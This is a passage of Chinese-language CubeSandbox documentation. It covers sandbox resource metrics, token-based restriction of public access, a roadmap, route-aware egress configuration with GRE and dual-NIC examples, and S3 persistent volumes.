上限，仍可查询实际使用的 CPU 核数，但无法计算具有明确分母的 CPU 使用率。 ### 工作负载内存使用率 ```promql 100 * cubesandbox_guest_workload_memory_current_bytes / cubesandbox_guest_workload_memory_limit_bytes ``` 当工作负载未设置有限内存上限时，Cubelet 不会导出 `cubesandbox_guest_workload_memory_limit_bytes`，因此无法计算基于上限的内存使用率。 ### 内存限制失败次数 以下查询返回最近 5 分钟内发生的内存限制失败次数： ```promql increase(cubesandbox_guest_workload_memory_failures_total[5m]) ``` ### 识别统计周期变化 以下查询返回最近 5 分钟内已有时间序列的统计周期变化次数，可用于标记回滚等统计窗口切换： ```promql changes(cubesandbox_guest_workload_metrics_epoch[5m]) ``` ## 生命周期语义 本节主要说明 `guest_workload` 的统计周期，以及两种视角在暂停、回滚和删除等操作中的行为。 ### 为什么需要统计周期 CPU 使用时间和内存限制失败次数来自 cgroup 累计计数器。制作模板或快照时，这些计数器会随沙箱状态一起保存。从模板或快照创建新沙箱时会继承已有计数；执行回滚时，原始计数器还可能退回到快照时的值。 如果直接按照 `sandbox_id` 导出原始计数： * 模板制作阶段产生的 CPU 和内存限制失败历史会被计入新沙箱； * 回滚后，同一指标可能出现无法区分原因的数值倒退。 为解决这些问题，Cubelet 会为每个新的 `guest_workload` 状态建立一个统计周期，并将首次成功采样作为基线： ```text 导出的累计值 = 当前原始值 - 当前统计周期基线 ``` 这样可以排除继承的历史，并将回滚后的数据表示为新的统计窗口。当前内存用量是瞬时值，不进行基线扣减。 ### `guest_workload` 生命周期 | 生命周期事件 | 指标行为 | | -------------------------------- | ------------------------------------------------------------ | | 新建沙箱、从模板或快照创建、克隆、重建工作负载 | 创建新的统计周期，并使用首次成功采样排除继承的累计历史。 | | 创建快照或提交模板 | 保持当前统计周期。 | | 回滚 | 回滚期间停止导出；完成后创建新的统计周期，累计指标重新从 `0` 开始。如果运行时恢复请求发出后失败，新统计周期会保持准备状态，`guest_workload` 将继续不可用，直到后续回滚成功，或删除并重建沙箱。 | | 暂停 | 保持当前统计周期，但停止导出指标，而不是导出 `0`。 | | 恢复运行 | 继续暂停前的统计周期。 | | 删除 | 删除缓存和对应指标序列。 | | Cubelet 重启 | 从持久化状态恢复统计周期和基线，不重新计算已有窗口。 | 如果生命周期元数据发生瞬时故障，导致运行中的沙箱暂时没有持久化 fresh 统计周期，`guest_workload` 采集器会先重新建立并持久化 pending 统计周期，再继续采集。恢复失败时仍保持不可用，并在后续采集周期重试。 Prometheus 不理解 Cubelet 的统计周期语义。只有累计值实际下降时，`rate()` 和 `increase()` 才会按照计数器重置处理。 需要可靠识别回滚或新统计窗口时，应查询： * `cubesandbox_guest_workload_metrics_epoch` * `cubesandbox_guest_workload_metrics_epoch_start_time_seconds` 当前版本不导出按统计周期精确计算的内存峰值。内存当前值仍表示采样时刻的实际点值。 ### `host_sandbox` 生命周期 `host_sandbox` 不使用 `guest_workload` 的统计周期，而是按照宿主机 cgroup 的分配关系统计： * 新沙箱被分配到可复用的宿主机 cgroup 池槽位时，Cubelet 会在挂载沙箱进程前读取并持久化本次分配的基线。 * 升级 Cubelet 时已经存在的沙箱可能没有该持久化字段；Cubelet 会在升级后的首次成功采样中建立兼容基线。 * Cubelet 会在挂载沙箱进程前重试瞬时的分配计数器读取失败。如果多次尝试仍失败，沙箱仍会正常创建，但该沙箱的 `host_sandbox` 会保持不可用，不会导出缺失初始使用量的累计窗口。修复持续存在的宿主机 cgroup 读取问题后，需要重新创建沙箱。 * 新沙箱不会继承同一槽位中上一个沙箱的 CPU 或内存限制失败历史。 * 创建快照和执行回滚不会重置基线，因为这两类操作不会更换宿主机上的沙箱进程，也不会改变对应的 cgroup 分配关系。 * 暂停时停止导出，恢复运行后继续此前的累计值。 * 删除沙箱后，移除对应的指标序列。 ::: tip 采集与抓取调优 `collection_interval` 控制 `Task.Stats` RPC 和宿主机 cgroup 的读取频率，Prometheus 的 `scrape_interval` 控制 HTTP 抓取和样本写入频率。节点沙箱较多或 Prometheus 每几分钟才抓取一次时，可以适当增大 `collection_interval`，并同步增大 `stale_after`。 资源端点只保存最新样本，不保存历史；发生在两次 Prometheus 抓取之间的短时内存峰值不会被保留。CPU 速率查询窗口内应包含多个成功写入 Prometheus 的样本。 两个间隔都不会减少活跃时间序列数量。显式设置 `export_scopes = ["all"]` 时，单容器沙箱最多导出 22 条时间序列；如需减少序列数量，应调整 `export_scopes` 或使用 Prometheus `metric_relabel_configs`。 ::: ## 升级旧模板和快照 快照模板会捕获沙箱内的进程和内存状态。仅升级节点上的 Cubelet、CubeShim 或沙箱虚拟机镜像文件，**不会替换旧模板内存快照中的 `cube-agent`**。 旧模板中的 `cube-agent` 可能不具备本版本要求的 cgroup v2 统计语义，也不会声明资源指标能力版本 `1`。这类沙箱不会导出 `guest_workload`，但仍可导出 `host_sandbox`。 ### 镜像构建模板 对于通过镜像构建的模板，需要执行模板 `redo`。 `redo` 会使用节点当前的沙箱虚拟机镜像和 `cube-agent`，为同一个模板 ID 重新制作副本。任务完成后，新创建的沙箱即可导出 `guest_workload` 指标。 节点升级后，Dashboard 里标了「需重建」的模板要先点「重建模板」，再建沙箱。其它模板可以继续直接创建（会按模板记录的版本在节点本地查找，或从组件仓库下载）。只有当你需要当前节点上的 guest image / `cube-agent`、以便新沙箱导出 `guest_workload` 指标时，才需要对已可用的模板再点一次「重建模板」。 ### 用户快照和已有沙箱 * 对于从运行中沙箱创建的用户快照，应先使用兼容的新模板创建沙箱，再重新创建快照。 * 已经运行或暂停的旧沙箱仍保留内存中的旧 `cube-agent`，需要删除并重新创建才能完成升级。 一键安装包会将经过审核的 `cube-agent` 写入沙箱虚拟机镜像。只要模板是 `READY` 且没有标「需重建」，升级后仍可直接创建沙箱。 运行时，CubeShim 还会校验 `StatsContainer` 返回的资源指标能力版本，避免将旧版本的 `guest_workload` 数据识别为有效指标。 ## 故障排查 | 现象 | 常见原因与处理方式 | | ----------------------------------------- | ------------------------------------------------------------ | | 无法连接 `9998` | 确认 `cube-sandbox-cubelet.service` 正常运行，并检查监听地址、防火墙和安全组。 | | HTTP 200，但没有任何 `cubesandbox_*` 指标 | 确认插件为 `enabled = true`，节点上存在状态为 `Up` 的沙箱，并等待至少一个 `collection_interval`。暂停的沙箱不会导出指标。 | | 配置了 `guest_workload`，但没有对应指标 | 确认 `export_scopes` 为 `["guest_workload"]` 或 `["all"]`。如果配置正确，通常是沙箱内的 `cube-agent` 未声明资源指标能力版本 `1`；镜像构建模板可执行 template `redo`。如果模板兼容但问题仍然存在，检查 Cubelet 业务日志中的 `Task.Stats` 错误。 | | 原有指标突然消失 | 沙箱可能已暂停或删除；也可能是连续采集失败后，样本年龄超过了 `stale_after`。 | | 新沙箱没有 `host_sandbox` 指标 | Cubelet 可能在创建阶段已耗尽宿主机 cgroup 分配基线的读取尝试。检查 Cubelet 日志中的 `capture host metrics baseline`，修复持续存在的宿主机 cgroup 读取问题后重新创建沙箱。 | | 抓取返回 HTTP 503 | 同一节点已有两个资源指标抓取正在处理。检查是否存在重复抓取任务或并发手工请求。 | | CPU 或内存上限指标缺失 | 对应 cgroup 未配置有限上限，这是预期行为；CPU 累计使用量和当前内存用量仍可正常导出。 | | 指标更新频率不符合预期 | `collection_interval` 控制 Cubelet 采集频率，Prometheus `scrape_interval` 控制样本持久化频率，应分别检查两处配置。 | Cubelet 启动失败时，先查看 systemd 日志；服务已运行但采集异常时，查看 Cubelet 业务日志： ```bash sudo journalctl -u cube-sandbox-cubelet.service -n 200 --no-pager sudo tail -200 /data/log/Cubelet/Cubelet-req.log ``` --- --- url: https://cubesandbox.com/zh/guide/restrict-public-access.md --- # 限制公开访问 默认情况下，Cube Sandbox 的[公网 URL](/zh/guide/network-policy) 任何 知道沙箱 ID 的人都能访问 —— URL 不可预测，但这也是工作负载与外网 之间**唯一**的屏障。对敏感场景（长期运行的处理私有数据的 Agent、 对外部网络暴露的看板、不希望被回放的演示）来说，Cube Sandbox 支持 在请求触达沙箱内部服务之前，要求调用方先用每沙箱独立的 token 完成鉴权。 本页是 E2B [Restricting public access][e2b-doc] 在 Cube Sandbox 侧 的对应实现 —— 共享 `network.allowPublicTraffic` 参数与 `e2b-traffic-access-token` header，原有 e2b 代码可零改动迁移过来。 [e2b-doc]: https://e2b.dev/docs/network/restrict-public-access ## 工作原理 使用 `network.allow_public_traffic = false` 创建沙箱时，创建响应里 会带回一个每沙箱独立的 `traffic_access_token`。之后所有访问该沙箱 公网 URL 的入站请求都必须在以下两个等价 header 中任选其一携带 该 token： * `e2b-traffic-access-token`（与 E2B 完全兼容） * `cube-traffic-access-token`（CubeSandbox 原生别名） 缺失 header、或携带错误 token 的请求会在触达沙箱之前被 **HTTP 403** 拒绝。 ## 快速上手 ```python from cubesandbox import Sandbox import requests sandbox = Sandbox.create( template=template_id, network={"allow_public_traffic": False}, ) print(sandbox.traffic_access_token) # 例如：4f8a2b1c9d7e3f5a6b0c8d2e4f6a9b1c3d5e7f9a0b2c4d6e8f1a3b5c7d9e0f2a # 在沙箱内启动一个服务（all-in-one 测试镜像里 nginx 已经监听 # 80 端口，否则用 commands.run 启动自己的进程并 expose 端口）。 url = f"http://{sandbox.get_host(80)}/" # 不带 token → 403 resp = requests.get(url) assert resp.status_code == 403 # 带 E2B 兼容 header → 200 resp = requests.get( url, headers={"e2b-traffic-access-token": sandbox.traffic_access_token}, ) assert resp.status_code == 200 # 带 CubeSandbox 原生别名 header → 也 200 resp = requests.get( url, headers={"cube-traffic-access-token": sandbox.traffic_access_token}, ) assert resp.status_code == 200 ``` 带 rich TUI 的完整版示例（含并排 probe 汇总和最终判定面板）位于 [`examples/code-sandbox-quickstart/restrict_public_access.py`][demo]。 [demo]: https://github.com/tencentcloud/CubeSandbox/blob/master/examples/code-sandbox-quickstart/restrict_public_access.py ## 默认行为 不传 `allow_public_traffic`（或显式传 `True`）保留历史行为 —— "任何知道 URL 的人都可访问"。此时不签发 token， `sandbox.traffic_access_token` 为 `None`。这意味着**升级到带本特性 的版本后，所有存量调用方无需改动即可继续工作**。 | 调用意图 | 怎么传 | `traffic_access_token` | 入站请求行为 | |---|---|---|---| | 默认 —— 公网可达 | 不传 `network`，或 `allow_public_traffic=True` | `None` | 接受所有请求 | | 锁定访问 | `network={"allow_public_traffic": False}` | 不透明 token | 拒绝未携带正确 token 的请求（403） | CubeProxy 的所有入站监听（HTTP、HTTPS 以及默认明文 gRPC 端口 `9090`）均执行相同校验。 gRPC 客户端应通过 metadata 发送 `e2b-traffic-access-token` 或 `cube-traffic-access-token`。 ## Header 语义 `e2b-traffic-access-token` 与 `cube-traffic-access-token` 接受 相同形式的不透明 token，按 HTTP 规则**不区分大小写**，按顺序取值 —— 两个都存在时以 `e2b-` 为准。可通过任意 HTTP 客户端发送： ```bash curl -H "e2b-traffic-access-token: $TOKEN" \ "http://80-$SANDBOX_ID.cube.app/" ``` ```javascript fetch(url, { headers: { "e2b-traffic-access-token": token } }) ``` Token 值不会出现在日志中。 ## 生命周期与持久化 * **仅一次下发。** Token 只挂在原始创建请求的响应里。如果后续流程 还要用到，调用方需要在创建那一刻自行持久化。 * **无 rotation API。** 一个沙箱在其整个生命周期内只持有一个 token。需要轮换请新建沙箱。 * **不影响 `connect()` / `resume()`。** 暂停的沙箱被恢复时不会重发 token —— 已有调用方继续使用原 token 即可。 * **自动清理。** 销毁沙箱时 token 一并清除。 ## 与其他网络策略组合使用 `allow_public_traffic` 控制**入站**：沙箱公网 URL 的访问权限。 与以下能力**正交**，可独立或叠加使用： * [网络策略](/zh/guide/network-policy) —— 出站 CIDR 白/黑名单 （`allow_out` / `deny_out`、`allow_internet_access`）。 * [安全代理](/zh/guide/security-proxy) —— 出站 HTTP/HTTPS 七层规则。 典型的"私有 Agent"部署会三者叠加：网络策略限制出站只允许几个 SaaS API、安全代理在出站端注入 API 凭证以避免密钥进入沙箱、 本页 token 机制要求所有入站请求都携带凭证。 ## 错误模型 | HTTP 状态 | 触发条件 | |---|---| | `200`（或上游返回的状态码） | token 匹配 | | `403` | 沙箱被标记为 `allow_public_traffic=false`，但请求未携带 `e2b-traffic-access-token` / `cube-traffic-access-token`，或 token 值不匹配 | 所有其他错误路径（沙箱不存在、上游不健康等）与默认公开 访问模式下完全一致，本特性不引入新的失败模式。 --- --- url: https://cubesandbox.com/zh/guide/roadmap.md --- # 路线图 *** ## 即将上线 ### 跨机暂停/恢复性能提升 跨机暂停/恢复已在 v0.7.0 落地（preview）。下一步重点优化性能：降低暂停/恢复时延、加快快照传输，使跨节点恢复接近本节点速度。 ### E2B API 对齐补齐 补齐 CubeSandbox API 与 E2B 规范之间的剩余差距，目标是实现完整的兼容替代——面向 E2B 开发的 SDK 客户端和工作负载，无需修改即可对接自托管的 CubeSandbox 集群。 ### 沙箱异常恢复 自动检测并恢复处于异常状态的沙箱，包括 VM Crash、shim 进程卡死、网络分区等场景。提供可配置的恢复策略（重启、回滚到最近快照或向调用方报错），并增强故障事件的可观测性。 ### 调度与运维能力增强 更丰富的调度能力：资源感知调度、亲和/反亲和规则、优先级类。运维工具链同步增强：在线资源均衡与带沙箱迁移的节点排空。 ### 基于 S3 的性能与成本优化 跨机暂停/恢复和 Volume 已通过 S3 兼容对象存储落地。下一步同时压延迟和账单：增量上传、更好的本地缓存、更低成本的存储层级，让快照传输和 Volume I/O 保持快，又不必每次按全量对象付费。 ### 只带文件系统的快照 当前快照会同时保存内存和可写文件系统。只带文件系统的快照跳过内存 dump，适合可以从磁盘冷启动的负载（已安装依赖、工作区、envd 状态等），克隆和恢复更快、存储更省。 ### GPU 沙箱 把宿主机 GPU 透传到沙箱，让 Agent / 推理负载能在同一套隔离 VM 模型里使用 CUDA 等加速器，调度侧同时感知 GPU 库存与放置。 *** ## 如何影响路线图 1. **提 Issue** —— 打上 `enhancement` 标签；特性请求在迭代规划时评审 2. **给现有 Issue 点 👍** —— 反映需求优先级 3. **参与讨论** —— 重要设计在开始编码前先在 Issue 中公开讨论 4. **贡献代码** —— PR 随时欢迎；非简单改动建议先在 Issue 中对齐方案 贡献指南请参见 [CONTRIBUTING.md](https://github.com/TencentCloud/CubeSandbox/blob/master/CONTRIBUTING.md)。 --- --- url: https://cubesandbox.com/zh/guide/route-aware-egress.md --- # 路由感知出网 默认情况下，CubeSandbox 保持原有出网行为：CubeVS 会把沙箱出站包直接送到节点主网卡。这条路径简单，适合单网卡节点，但无法让 Linux 路由表选择其他出口设备，例如第二块网卡、GRE 隧道、VXLAN 设备、VPN 接口或策略路由路径。 可选的 **cube-router** 模式只改变宿主机侧的出网路径。沙箱网络策略、DNS allow-list 学习、CubeEgress L7 代理、端口映射的语义保持不变。 ## 什么时候启用 当沙箱流量需要遵循宿主机路由，而不是固定从主网卡发出时，可以启用 cube-router。常见场景包括： * 节点有多块网卡，不同目的 CIDR 需要走不同出口。 * 某些目标只能通过 GRE、VXLAN、WireGuard 或内部 VPN 等隧道设备访问。 * 希望支持 route-aware sandbox egress，但不想修改宿主机全局默认路由。 如果主网卡直出已经满足需求，保持关闭即可。为了兼容升级，默认不启用。 ## 工作方式 关闭 cube-router 时，CubeVS 使用原有的直接 SNAT 路径： ```mermaid flowchart LR sandbox[Sandbox] --> tap[TAP] tap --> fromCube[CubeVS from_cube] fromCube --> nic[主网卡] ``` 启用 cube-router 时，CubeVS 先把出站包归一化到一个内部 NAT IP，再注入到名为 `cube-router` 的内部 dummy 设备。随后由 Linux 内核完成正常的 forwarding、conntrack、路由查询和最终 MASQUERADE： ```mermaid flowchart LR sandbox[Sandbox] --> tap[TAP] tap --> fromCube[CubeVS from_cube] fromCube --> router[cube-router] router --> kernel[Linux 路由表] kernel --> egress[选中的出口设备] ``` 这意味着 CubeSandbox 不需要理解每一种网络设备类型。只要 Linux 能把流量路由到该设备，沙箱出网就可以使用它。 端口映射仍然绑定在节点主网卡上，不会暴露到所有可能的出网设备。 ## 安装时启用 在运行 one-click 安装或升级前，在 `deploy/one-click/.env` 中设置： ```bash CUBE_SANDBOX_CUBE_ROUTER_ENABLE=1 # 可选。留空时会从 CUBE_SANDBOX_NETWORK_CIDR 派生地址。 CUBE_SANDBOX_CUBE_ROUTER_CIDR= ``` 如果 `CUBE_SANDBOX_CUBE_ROUTER_CIDR` 为空，CubeSandbox 会从沙箱 CIDR 末尾保留两个可用 IP。默认沙箱 CIDR 是 `192.168.0.0/18`，对应为： | 地址 | 用途 | | --- | --- | | `192.168.63.253/32` | `cube-router` 设备 IP | | `192.168.63.254` | 进入宿主机路由前使用的内部 SNAT IP | 如果指定自定义 cube-router CIDR，它必须是对齐的私有 IPv4 CIDR，掩码范围为 `/16` 到 `/30`。CubeSandbox 使用 `.1` 作为 router IP，`.2` 作为内部 SNAT IP： ```bash CUBE_SANDBOX_CUBE_ROUTER_ENABLE=1 CUBE_SANDBOX_CUBE_ROUTER_CIDR=10.254.0.0/24 ``` 自定义 CIDR 不能和宿主机已有路由或接口地址冲突。 首次启用 cube-router 时，已有沙箱的外访存量连接会中断；应用重连后会按新的 cube-router 路径正常建立连接。 ## 验证方式 安装完成后，先检查设备、路由和 NAT 规则： ```bash ip addr show cube-router ip route | grep cube-router iptables -t nat -S POSTROUTING | grep MASQUERADE ``` 创建一个具备出网权限的沙箱，然后访问一个应当走非主网卡路由的目标： ```bash ip route get <destination-ip> tcpdump -ni cube-router host <destination-ip> tcpdump -ni <egress-device> host <destination-ip> ``` 正常情况下，能先在 `cube-router` 上看到包，再在宿主机路由选中的出口设备上看到包。最终出口设备上的包源地址应当是 MASQUERADE 后的宿主机出口 IP。 ## 注意事项 * cube-router 不改变沙箱的 `allow_out`、`deny_out` 或 L7 `rules` 语义。 * CubeEgress 仍然处理由 CubeVS 和宿主机 TPROXY 规则选中的 HTTP/HTTPS 流量。 * 不要为了测试 cube-router 修改宿主机全局默认路由。建议为待验证目标添加更精确的 host route 或策略路由。 * 如需关闭该功能，设置 `CUBE_SANDBOX_CUBE_ROUTER_ENABLE=0`，然后走正常升级/重装流程，让生成配置和宿主机网络状态重新收敛。 ## 示例 1：GRE Remote 作为公网网关 这个示例把默认出网路径切到 GRE 隧道，由 GRE remote 节点转发访问公网。`10.0.0.0/8`、`172.16.0.0/12`、`192.168.0.0/16` 等私网流量仍然走 Cube 节点物理网卡。 如果你是通过 SSH 远程操作服务器，替换默认路由前需要先为 GRE underlay 对端和 SSH 客户端保留物理网卡路由。 示例拓扑： | 角色 | 示例值 | | --- | --- | | Cube 节点 underlay IP | `203.0.113.10` | | Cube 节点物理网卡 | `eth0` | | Cube 节点物理网关 | `203.0.113.1` | | GRE remote underlay IP | `198.51.100.20` | | GRE tunnel 名称 | `natgre` | | Cube 侧 GRE IP | `169.254.100.1/30` | | Remote 侧 GRE IP | `169.254.100.2/30` | | GRE remote 公网出口网卡 | `eth0` | 云厂商安全组或防火墙需要放通两个 underlay IP 之间的 GRE 流量，GRE 是 IP protocol `47`。 在 GRE remote 节点执行： ```bash #!/usr/bin/env bash set -euo pipefail CUBE_UNDERLAY_IP="203.0.113.10" REMOTE_UNDERLAY_IP="198.51.100.20" REMOTE_EGRESS_NIC="eth0" TUNNEL_NAME="natgre" REMOTE_TUNNEL_CIDR="169.254.100.2/30" modprobe ip_gre ip tunnel del "${TUNNEL_NAME}" 2>/dev/null || true ip tunnel add "${TUNNEL_NAME}" mode gre local "${REMOTE_UNDERLAY_IP}" remote "${CUBE_UNDERLAY_IP}" ttl 255 ip addr replace "${REMOTE_TUNNEL_CIDR}" dev "${TUNNEL_NAME}" ip link set "${TUNNEL_NAME}" up mtu 1476 sysctl -w net.ipv4.ip_forward=1 iptables -t nat -C POSTROUTING -s 169.254.100.0/30 -o "${REMOTE_EGRESS_NIC}" -j MASQUERADE 2>/dev/null \ || iptables -t nat -A POSTROUTING -s 169.254.100.0/30 -o "${REMOTE_EGRESS_NIC}" -j MASQUERADE ``` 在 Cube 节点执行： ```bash #!/usr/bin/env bash set -euo pipefail CUBE_UNDERLAY_IP="203.0.113.10" REMOTE_UNDERLAY_IP="198.51.100.20" UNDERLAY_NIC="eth0" UNDERLAY_GW="203.0.113.1" TUNNEL_NAME="natgre" CUBE_TUNNEL_CIDR="169.254.100.1/30" SSH_CLIENT_IP="" modprobe ip_gre ip tunnel del "${TUNNEL_NAME}" 2>/dev/null || true ip tunnel add "${TUNNEL_NAME}" mode gre local "${CUBE_UNDERLAY_IP}" remote "${REMOTE_UNDERLAY_IP}" ttl 255 ip addr replace "${CUBE_TUNNEL_CIDR}" dev "${TUNNEL_NAME}" ip link set "${TUNNEL_NAME}" up mtu 1476 # 固定 GRE underlay 路径，避免默认路由切到 GRE 后，GRE 外层包也被送回 GRE。 ip route replace "${REMOTE_UNDERLAY_IP}/32" via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" # 私网流量仍然走物理网卡，而不是 GRE 公网网关。请根据你的内网实际拓扑调整。 ip route replace 10.0.0.0/8 via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" ip route replace 172.16.0.0/12 via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" ip route replace 192.168.0.0/16 via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" # 如果通过 SSH 远程操作，建议把 SSH_CLIENT_IP 设置为你的 SSH 客户端源 IP， # 避免替换默认路由后 SSH 会话断开。 if [[ -n "${SSH_CLIENT_IP}" ]]; then ip route replace "${SSH_CLIENT_IP}/32" via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" fi # 默认出网路径切到 GRE remote 网关。 ip route replace default dev "${TUNNEL_NAME}" ``` 预期路由表片段： ```bash default dev natgre scope link 10.0.0.0/8 via 203.0.113.1 dev eth0 src 203.0.113.10 172.16.0.0/12 via 203.0.113.1 dev eth0 src 203.0.113.10 192.168.0.0/16 via 203.0.113.1 dev eth0 src 203.0.113.10 198.51.100.20 via 203.0.113.1 dev eth0 src 203.0.113.10 169.254.100.0/30 dev natgre proto kernel scope link src 169.254.100.1 ``` 在 Cube 节点验证： ```bash ip addr show natgre ip route get 1.1.1.1 ip route get 10.1.2.3 tcpdump -ni cube-router 'host 1.1.1.1 or host 169.254.100.2' tcpdump -ni natgre 'host 1.1.1.1 or host 169.254.100.2' tcpdump -ni eth0 'proto gre or host 198.51.100.20 or net 10.0.0.0/8' ``` 随后创建一个 `allow_out` 包含隧道对端、公网目标和待验证内网目标的沙箱，例如 `169.254.100.2/32`、`1.1.1.1/32` 和 `10.1.2.3/32`。正常情况下，公网流量会先出现在 `cube-router`，再进入 `natgre`，最后由 GRE remote 节点做 NAT 后访问公网；私网流量会先出现在 `cube-router`，随后从物理网卡发出。 ## 示例 2：双网卡，一个访问公网，一个访问内网 这个示例让宿主机默认路由走一块网卡访问公网，同时让私网流量走另一块物理网卡。沙箱流量进入 `cube-router` 后，会按同一套路由表选择出口。 示例拓扑： | 角色 | 示例值 | | --- | --- | | 公网出口网卡 | `eth0`，`10.206.0.4` | | 公网网关 | `10.206.0.1` | | 内网出口网卡 | `eth1`，`10.206.0.15` | | 内网网关 | `10.206.0.1` | | 公网目标 | `1.1.1.1` | | 内网目标 | `10.50.0.12` | 在 Cube 节点配置路由： ```bash # 公网默认流量走 eth0。 ip route replace default via 10.206.0.1 dev eth0 src 10.206.0.4 # 私网流量走 eth1。 ip route replace 10.0.0.0/8 via 10.206.0.1 dev eth1 src 10.206.0.15 ip route replace 172.16.0.0/12 via 10.206.0.1 dev eth1 src 10.206.0.15 ip route replace 192.168.0.0/16 via 10.206.0.1 dev eth1 src 10.206.0.15 ``` 预期路由表片段： ```bash default via 10.206.0.1 dev eth0 src 10.206.0.4 10.0.0.0/8 via 10.206.0.1 dev eth1 src 10.206.0.15 172.16.0.0/12 via 10.206.0.1 dev eth1 src 10.206.0.15 192.168.0.0/16 via 10.206.0.1 dev eth1 src 10.206.0.15 ``` 测试沙箱前，先确认宿主机路由选择符合预期： ```bash ip route get 1.1.1.1 ip route get 10.50.0.12 ``` 第一条应该选择 `eth0`，第二条应该选择 `eth1`。 创建一个 `allow_out` 包含两个目标的沙箱，例如 `1.1.1.1/32` 和 `10.50.0.12/32`，然后在沙箱里执行： ```bash ping -c 4 1.1.1.1 ping -c 4 10.50.0.12 ``` 在 Cube 节点抓包验证： ```bash tcpdump -ni cube-router 'host 1.1.1.1 or host 10.50.0.12' tcpdump -ni eth0 'host 1.1.1.1 or host 10.50.0.12' tcpdump -ni eth1 'host 1.1.1.1 or host 10.50.0.12' ``` 预期结果： * 访问 `1.1.1.1` 的流量先出现在 `cube-router`，随后出现在 `eth0`。 * 访问 `10.50.0.12` 的流量先出现在 `cube-router`，随后出现在 `eth1`。 * 最终物理网卡上的源 IP 是 MASQUERADE 后的对应网卡 IP。 --- --- url: https://cubesandbox.com/zh/guide/s3-volume.md --- # S3 持久卷（S3 Volume） 给沙箱一个**跨生命周期持久化**的存储：创建一个 Volume → 挂到沙箱里读写 → 沙箱销毁后数据仍在 → 下次再挂回来继续用。后端是任意 S3 兼容对象存储（AWS S3、腾讯云 COS、Cloudflare R2、MinIO……），CubeSandbox 默认安装已自带一个 MinIO 作为后端。 > **默认安装（one-click / Helm 默认值）已经配好了。** 安装脚本会自动起一个 MinIO，并把 S3 Volume 插件、凭证、CubeMaster/Cubelet 配置全部接好。**你不需要手动编辑 `volume-s3.conf`，也不需要装插件** —— 直接跳到 [用法](#用法) 即可。 > > 只有当你想把后端换成**外部 S3**（AWS S3、腾讯云 COS、R2、自建 MinIO 等）时，才需要看 [接入外部 S3](#接入外部-s3)。 *** ## 它能做什么 | 能力 | 说明 | |------|------| | 跨沙箱持久化 | 沙箱销毁后 Volume 数据保留，下次创建沙箱再挂回来继续读写 | | 多沙箱共享 | 同一个 Volume 可被多个沙箱同时挂载 | | 只读挂载 | 每个挂载可单独设只读，适合共享模型/数据集 | | 任意 S3 兼容后端 | 默认捆绑 MinIO；也可换 AWS S3、腾讯云 COS、Cloudflare R2 等 | | 凭证不进沙箱 | 凭证只在宿主机上，沙箱内只看到一个文件系统 | *** ## 用法 ### 1. 安装 SDK ```bash pip install 'cubesandbox>=0.6.0' ``` ::: warning 用 cubesandbox，不要用官方 e2b SDK 官方 e2b Python SDK 会把请求硬编码发到 e2b.cloud 后端，**不能用于 CubeSandbox**。请使用 `cubesandbox`。 ::: ### 2. 配置环境变量 在能访问 CubeAPI 的开发机上： ```bash export CUBE_API_URL=http://<cubeapi-host>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # 远程读写已挂载 Volume 时必需（数据面经由 CubeProxy） export CUBE_PROXY_NODE_IP=<cubeproxy-or-cubelet-node-ip> # 集群开启鉴权时： # export CUBE_API_KEY=<your-key> ``` ### 3. 创建 Volume 并挂到沙箱 ```python from cubesandbox import Sandbox, Volume vol = Volume.create("my-data", driver="s3") # 默认安装下省略 driver 也走 S3 print("volume_id:", vol.volume_id) with Sandbox.create(volume_mounts={"/workspace": vol}) as sb: sb.files.write("/workspace/hello.txt", "from S3 volume") print(sb.files.read("/workspace/hello.txt")) # → from S3 volume # 沙箱销毁后数据仍在；下次再挂回来，文件还在 with Sandbox.create(volume_mounts={"/workspace": vol}) as sb: print(sb.files.read("/workspace/hello.txt")) # 真正删除 Volume（后端数据被清空，不可恢复） Volume.destroy(vol.volume_id) ``` * `volume_mounts` 是 `{沙箱内路径: Volume}` 的映射，一次可挂多个。 * 沙箱销毁**不会**删 Volume 数据；只有 `Volume.destroy()` 才会清空。 ### 只读挂载 / 多沙箱共享 ```python from cubesandbox import VolumeMount vol = Volume.create("shared-dataset", driver="s3") with Sandbox.create(volume_mounts={"/data": VolumeMount(vol, read_only=True)}) as sb: sb.files.read("/data/model.bin") ``` ### 配合跨机快照使用 S3 Volume 的数据位于共享对象存储，因此沙箱在其他节点恢复时可以重新 Attach。它与 VM Snapshot backend 是两套独立配置： * 使用 `--backend s3` 构建沙箱模板，并等待 Snapshot 的 `remote_status` 变为 `ready`。 * 在每个候选 Cubelet 节点配置相同的 `s3` Volume driver、`CUBE_S3_*` 连接信息和 `s3fs` 依赖。 * FromSnap 先从 VM Snapshot 包恢复 VM/rootfs 状态，再 Attach 已有 Volume ID。Volume 数据不会回到快照时刻；恢复后的沙箱看到当前内容。 * 如果 Volume 已删除、目标节点缺少 driver，或者 S3 Attach 失败，沙箱创建会在 VM 启动前失败。 VM 兼容性和跨机调度条件见[跨机快照](./cross-node-snapshot.md)。 *** ## 接入外部 S3 默认安装用内置 MinIO。想换成外部 S3（AWS S3、腾讯云 COS、R2、自建 MinIO 等），按你的部署方式改对应的"源"——安装器会自动生成 `volume-s3.conf`，**不要手动编辑该文件**（它会被重写）。 ### one-click 部署 在 `.one-click.env`（或 `env.example`）里关掉内置 MinIO、填 `CUBE_S3_*`，重跑 `install.sh`，它会写出 `volume-s3.conf`： ```bash CUBE_SANDBOX_MINIO_ENABLED=0 CUBE_S3_ENDPOINT=https://s3.example.com CUBE_S3_ACCESS_KEY_ID=... CUBE_S3_SECRET_ACCESS_KEY=... CUBE_S3_BUCKET=cube-volumes # CUBE_S3_REGION=us-east-1 # CUBE_S3_S3FS_EXTRA_OPTS=-ouse_path_request_style ``` 计算节点不部署 MinIO，把控制节点回填的 `CUBE_S3_*` 拷过去即可： ```bash # 在控制节点执行，把输出拷贝到计算节点 .env grep '^CUBE_S3_' /usr/local/services/cubetoolbox/.one-click.env ``` 缺失时仅告警并继续安装，S3 卷插件将不可用。详见 [one-click README · 内置 MinIO 与 S3 Volume 插件](https://github.com/TencentCloud/CubeSandbox/blob/master/deploy/one-click/README_zh.md)。 ### Helm 